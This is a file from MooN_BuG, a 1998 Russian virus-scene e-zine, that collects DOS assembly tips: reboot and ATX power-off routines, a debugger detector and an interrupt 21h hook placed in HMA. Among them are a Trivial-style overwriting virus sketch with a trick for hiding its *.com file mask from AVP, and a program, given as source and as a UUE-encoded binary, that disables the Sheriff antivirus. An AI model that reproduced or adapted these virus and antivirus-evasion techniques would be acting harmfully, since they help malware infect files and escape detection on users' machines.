[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998                                           file 00E

                               Полезные советы
                                                            by All

──────────────────────────────────────────────────────────────────────────────
 Subj : перезагружалка под win 98 by Butenin Andrey

Грубо... Без всяких сбросов кэша... Hо зато работает убойно.
 >  mov ax,0fff0h
 >  push ax
 >  mov ax,0f000h
 >  push ax
 >  retf
──────────────────────────────────────────────────────────────────────────────
 Subj : Детектор дебуггера TR v2.02 by VVS

=== Cut ===
.model tiny
.code
.386
.startup
          mov  ax,0000h
          call get_cmos
          mov  cl,al

          mov  ax,0002h
          call get_cmos
          mov  ch,al

          mov  ax,0004h
          call get_cmos
          mov  dl,al

          mov  ax,0006h
          call get_cmos
          mov  dh,al

          cmp  dx,cx
          jne  not_TR
          mov  ah,9
          mov  dx,offset msg
          int  21h
not_TR:
          int  20h
msg       db   'Detect TR v2.02',13,10,'$'
get_cmos:
          out  70h,al
          jmp  $+2
          in   al,71h
          ret
end
=== Cut ===
──────────────────────────────────────────────────────────────────────────────
 Subj : Re: перезагружалка под win 98 by Vladislav Ivanov

;TASM winreset.asm /w2 /m9
;TLINK winreset.obj /tc
;Use: winreset [/p | /r | /k]

          .model tiny
          .code
          org 100h

start:    lea    sp, end_stack_area
          mov    ah, 4ah
          mov    bx, (end_stack_area-start+10Fh)/16
          int    21h                 ;лишняя память
          jc     Quit
          ;сброс 1 HDD
          xor    ah, ah
          mov    dl, 80h             ;для 2 будет 81h
          int    13h
          ;разбор командной строки
          mov    di, 81h             ;PSP
          mov    cl, [di-1]
          cmp    cl, 1
          jbe    wait_key            ;пуста - запрос на ввод
          cld
          mov    al, 20h
          repe   scasb               ;лишние пробелы
          jcxz   wait_key
          mov    ax, [di-1]
          and    ah, 0DFh            ;в заглавную
          cmp    al, '/'
          jne    badp
          cmp    ah, 'P'             ;указано в командной строке '/P' ?
          je     Power_off           ;да - выключаем без вопросов
          cmp    ah, 'R'             ;указано '/R' ?
          je     Restart             ;да - перезагрузка
          cmp    ah, 'K'
          je     No_win
          ;неверный параметр
badp:     mov    ah, 09
          mov    dx, offset msg_help
          int    21h
quit:     ;выход
          mov    ah, 4Ch
          int    21h

Wait_key: mov    ah, 9                ;вывести текст
          mov    dx, offset msg_prmpt ;        приглашения
          int    21h
          mov    ah, 1                ;ввод с эхом
          int    21h
          cmp    al, 13
          je     Restart              ;Enter - перезагрузить
          and    al, 0DFh             ;в заглавную
          cmp    al,'P'
          je     Power_off            ;P - выключить
          cmp    al,'R'
          je     Restart              ;R - перезагрузить
          cmp    al,'Q'
          je     Quit                 ;Q - закончить
          cmp    al,'K'
          je     No_Win               ;K - снять задачу
          ;выбор неправильный
          mov    ah, 2
          mov    dl, 7
          int    21h
          mov    ah, 9
          mov    dx, offset crlf
          int    21h
          jmp    short wait_key

no_win:   ;ресет под ДОС
          mov    al, 0FEh
          out    64h, al
          mov    ax, 0FFFFh   ;если не получится через порт 64h
          push   ax
          xor    ax, ax
          push   ax
          retf

power_off: ;выключение питания (Только для  ATX)
          pushf
          cli
          mov    al,0Ch
          out    2Eh,al
          mov    al,75h
          out    2Fh,al
          out    2Fh,al
          mov    al,11h
          out    2Eh,al
          xor    al,al
          out    2Fh,al
          out    2Fh,al
          mov    al,0Dh
          out    2Eh,al
          mov    al,0A0h
          out    2Fh,al
          out    2Fh,al
          in     al,75h
          popf

restart:  ;ресет под w
          push   es
          mov    ax,01687h
          int    2fh
          or     ax, ax
          jnz    no_win
          mov    ax, es
          pop    es
          mov    word ptr dpmi_entry_point, di
          mov    word ptr dpmi_entry_point+2, ax
          mov    ah, 48h
          mov    bx, si
          int    21h
          jc     no_win
          mov    es, ax
          xor    ax, ax
          call   dword ptr [dpmi_entry_point]
         ; Now we in Prot16
          xor    di, di
          mov    di, es
          mov    bx, 9
          mov    ax, 1684h
          int    2Fh
          mov    ax, es
          mov    word ptr vxd_reboot+2, ax
          mov    word ptr vxd_reboot, di
          or     ax, di
          jz     no_win
          mov    ax, 100h
          call   dword ptr [vxd_reboot]

msg_help         db   'Use:    /R = restart',13,10
                 db   9,'/P = power OFF',13,10
                 db   9,'/K = kill task',13,10,'$'
msg_prmpt        db     ' R= Restart (Enter)',13,10
                 db     ' P= Power OFF',13,10
                 db     ' K= Kill task (windows only)',13,10
                 db     ' Q= Quit',13,10
                 db     ' Select: [ ]',8,8,'$'
crlf             db     13,10,'$'
dpmi_entry_point dd ?
vxd_reboot       dd ?
stack_area       db 100h dup (?)
end_stack_area   label word

                 end start
──────────────────────────────────────────────────────────────────────────────
 Subj : Soft-off by Vladimir Serebryakov

     Программное  управление  выключением питания Системная плата поддерживает
управление  выключением  (Soft-off)  с  помощью  кода SMM в BIOS. Это свойство
является   опцией   производителя.   Контакт   CS1   контроллера  ввода/вывода
соединяется  с  линией  управления  включением/выключением  в  блоке  питания.
Регистры  контроллера  ввода/вывода, которые управляют состоянием контакта CS1
инициализируются кодом SMM, выполняющим следующие действия:
 · OUT 0Ch to I/O port 2Eh
 · OUT 75h to I/O port 2Fh
 · OUT 11h to I/O port 2Eh
 · OUT 00h to I/O port 2Fh
 · OUT 0Dh to I/O port 2Eh
 · OUT A0h to I/O port 2Fh
     После  такой  инициализации  любая операция чтения по адресу ввода/вывода
75h   переключит   цепь  управления  включением/выключением  и  выключит  блок
питания.

 ======== OFF.ASM ==============
  p186
  ideal
  model tiny, pascal
  codeseg

  macro io_delay
  local @@next
      jmp @@next
  @@next:
  endm

  StartupCode
      mov al,0Ch
      out 2Eh,al
      io_delay
      mov al,75h
      out 2Fh,al
      io_delay
      mov al,11h
      out 2Eh,al
      io_delay
      mov al,0h
      out 2Fh,al
      io_delay
      mov al,0Dh
      out 2Eh,al
      io_delay
      mov al,0A0h
      out 2Fh,al
      io_delay
      in  ax,75h
      ret
  End @Startup
 ===============================
 tasm off.asm
 tlink off /t
──────────────────────────────────────────────────────────────────────────────
 Subj : Вот пример накатал заюзывания HMA, висит на 21h без глюков (c) VVS

=== Cut ===
; using HMA
.model tiny
.code
.386
.startup

vector  equ  21h    ;

        mov  ax,4310h
        int  2fh
        mov  cs:xms_ofs,bx
        mov  cs:xms_seg,es

        mov  ax,4a01h
        int  2fh
        cmp  bx,len ; bx=free bytes
        jb   error

        ; allocate HMA space
        mov  ax,4a02h
        mov  bx,len
        int  2fh    ; es:di -> allocated block

        ; copy2hma
        push di
        push di
        mov  si,offset intxxhand
        mov  cx,len
        rep  movsb

        ; set interrupt
        mov  ds,cx                   ;DS=CX=0
        mov  si,vector*4             ;Set int 21
        pop  di
        add  di,offset ixxvec-offset intxxhand
        movsw    ; ds:[si]->es:[di]
        movsw    ;
        pop  di
        mov  word ptr [si-4],di
        mov  word ptr [si-2],es
        retn
error:
        mov dx,offset msg
        mov ah,9
        int 21h
        retn
msg     db 'error',13,10,'$'

intxxhand:
          pusha
          pushf
          mov ah,5
          db  9ah
xms_ofs   dw  ?
xms_seg   dw  ?
          popf
          popa
          db  0eah
ixxvec    dd  ?
len       equ $-offset intxxhand
end
=== Cut ===
──────────────────────────────────────────────────────────────────────────────
 Subj : Трики (c) FRiZER

     Сидел  тут  делал  что-то напоминающее BATalia8.AutoCheck by Reminder для
проверки  триков.  Cижу проверяю. сначала свой трик подсунул. смотрю ни авп ни
вэб  его  не  находят. ништяк думаю. попробовал трики от Reminder'a - вэб их в
основном  находит,  а  вот  АВП нет. оказалось, что АВП не понимает даже такую
вещь:
  xor bx,bx
  dec bx
  xor word ptr msk,bx
  findfirst
  findnext
  openfile
  writetofile
  closefile
  ret
  msk dw not ".*"
      db "com",0

     придется  думать,  как  же  этот  гребаный АВП заставить находить обычный
Trivial :(
──────────────────────────────────────────────────────────────────────────────
 Subj : Выключение Шериффа (c) FRiZER

;This program disables Sheriff
.model tiny
.code
.startup
org 100h
        mov     cx,2Eh
        mov     al,0F0h
l:
        push    ax cx
        xor     ah,ah
        mov     bl,al
        xor     cx,cx
        mov     dx,82h
        int     13h
        pop     cx ax
        inc     ax
        loop    l
        ret
        end
        
=== Cut ===
section 1 of 1 of file dis_sher.com    -={ UUE 1.06, ARA (C) 1995 }=-

begin 644 dis_sher.com  11-3-1998 22:12:50
8N2X`L/!043+DBM@SR;J"`,T365A`XN[#
`
end
sum -r/size 49016/83 section (from "begin" to "end")
sum -r/size 61598/24 entire input file
=== Cut ===
──────────────────────────────────────────────────────────────────────────────